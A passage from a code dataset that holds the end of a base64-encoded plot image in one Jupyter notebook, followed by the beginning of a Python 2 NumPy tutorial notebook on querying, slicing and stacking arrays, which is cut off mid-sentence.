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\n", "text": [ "<matplotlib.figure.Figure at 0x3746050>" ] } ], "prompt_number": 12 }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

apache-2.0

drbaguiar/data_analysis_with_python_and_pandas

3 - NumPy Basics/3-5 NumPy Array Basics - Querying, Slicing, Combining, and Splitting Arrays.ipynb

1

20002

{ "metadata": { "name": "", "signature": "sha256:6055edb8c43a57ecb01a72320b36e649412a39b502e73dfe460971c774f0156c" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "NumPy Array Basics - Querying, Slicing, Combining, and Splitting Arrays" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import sys\n", "import numpy as np\n", "print sys.version" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "2.7.6 (default, Sep 9 2014, 15:04:36) \n", "[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)]\n" ] } ], "prompt_number": 1 }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this video we\u2019ll be covering querying, slicing, combining, and splitting arrays. Now this information is really important because it will consistently come up when we\u2019re working in pandas. Overall it\u2019s a pretty simple idea and it\u2019s fairly declarative." ] }, { "cell_type": "code", "collapsed": false, "input": [ "np.random.seed(10)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 2 }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "First let\u2019s generate some random arrays. We\u2019ll generate some that are 1 dimension, 2 dimensional, and 3 dimensional.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ar = np.arange(12)\n", "ar" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 3, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])" ] } ], "prompt_number": 3 }, { "cell_type": "code", "collapsed": false, "input": [ "ar2 = np.random.random_integers(12, size=12)\n", "ar2" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 4, "text": [ "array([10, 5, 1, 2, 12, 10, 1, 2, 11, 9, 10, 1])" ] } ], "prompt_number": 4 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar = np.arange(12).reshape(3,4)\n", "ndim_ar" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 5, "text": [ "array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11]])" ] } ], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar2 = np.random.random_integers(12, size=(3,4))\n", "ndim_ar2" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 6, "text": [ "array([[11, 9, 7, 5],\n", " [ 4, 1, 5, 12],\n", " [ 7, 9, 12, 11]])" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d = np.arange(8).reshape(2,2,2)\n", "ndim_ar3d" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 7, "text": [ "array([[[0, 1],\n", " [2, 3]],\n", "\n", " [[4, 5],\n", " [6, 7]]])" ] } ], "prompt_number": 7 }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "Querying 1 dimensional arrays is easy, we just perform the lookup like we would a regular array.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ar[5]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 8, "text": [ "5" ] } ], "prompt_number": 8 }, { "cell_type": "code", "collapsed": false, "input": [ "ar[5:]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 9, "text": [ "array([ 5, 6, 7, 8, 9, 10, 11])" ] } ], "prompt_number": 9 }, { "cell_type": "code", "collapsed": false, "input": [ "ar[1:6:2]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 10, "text": [ "array([1, 3, 5])" ] } ], "prompt_number": 10 }, { "cell_type": "code", "collapsed": false, "input": [ "ar[-1:-6:-2]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 11, "text": [ "array([11, 9, 7])" ] } ], "prompt_number": 11 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 12, "text": [ "array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11]])" ] } ], "prompt_number": 12 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Querying 2 dimensional arrays is a bit more interesting, we use commas to separate the axis. \n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar[:,1:3]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 13, "text": [ "array([[ 1, 2],\n", " [ 5, 6],\n", " [ 9, 10]])" ] } ], "prompt_number": 13 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar[1:3,:]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 14, "text": [ "array([[ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11]])" ] } ], "prompt_number": 14 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar[1:3,1:3]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 15, "text": [ "array([[ 5, 6],\n", " [ 9, 10]])" ] } ], "prompt_number": 15 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 16, "text": [ "array([[[0, 1],\n", " [2, 3]],\n", "\n", " [[4, 5],\n", " [6, 7]]])" ] } ], "prompt_number": 16 }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "Things get even more interesting with 3+ dimensions, obviously it\u2019s a lot to keep track in your head. but We just go dimension by dimension.\n", "\n", "We\u2019ll get the first dimension, then all the items in the second dimension, then everything beyond the first item in the 3rd dimension.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d[0,:,1:]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 17, "text": [ "array([[1],\n", " [3]])" ] } ], "prompt_number": 17 }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "Now that we\u2019ve got some experience querying, let\u2019s go over combining different arrays.\n", "\n", "Now let\u2019s stack the first two arrays vertically, we\u2019ll do that with vstack. We can do the same with multidimensional arrays.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "np.vstack((ar,ar2))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 18, "text": [ "array([[ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11],\n", " [10, 5, 1, 2, 12, 10, 1, 2, 11, 9, 10, 1]])" ] } ], "prompt_number": 18 }, { "cell_type": "code", "collapsed": false, "input": [ "np.vstack((ndim_ar, ndim_ar2))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 19, "text": [ "array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11],\n", " [11, 9, 7, 5],\n", " [ 4, 1, 5, 12],\n", " [ 7, 9, 12, 11]])" ] } ], "prompt_number": 19 }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "Now you can probably guess what horizontal 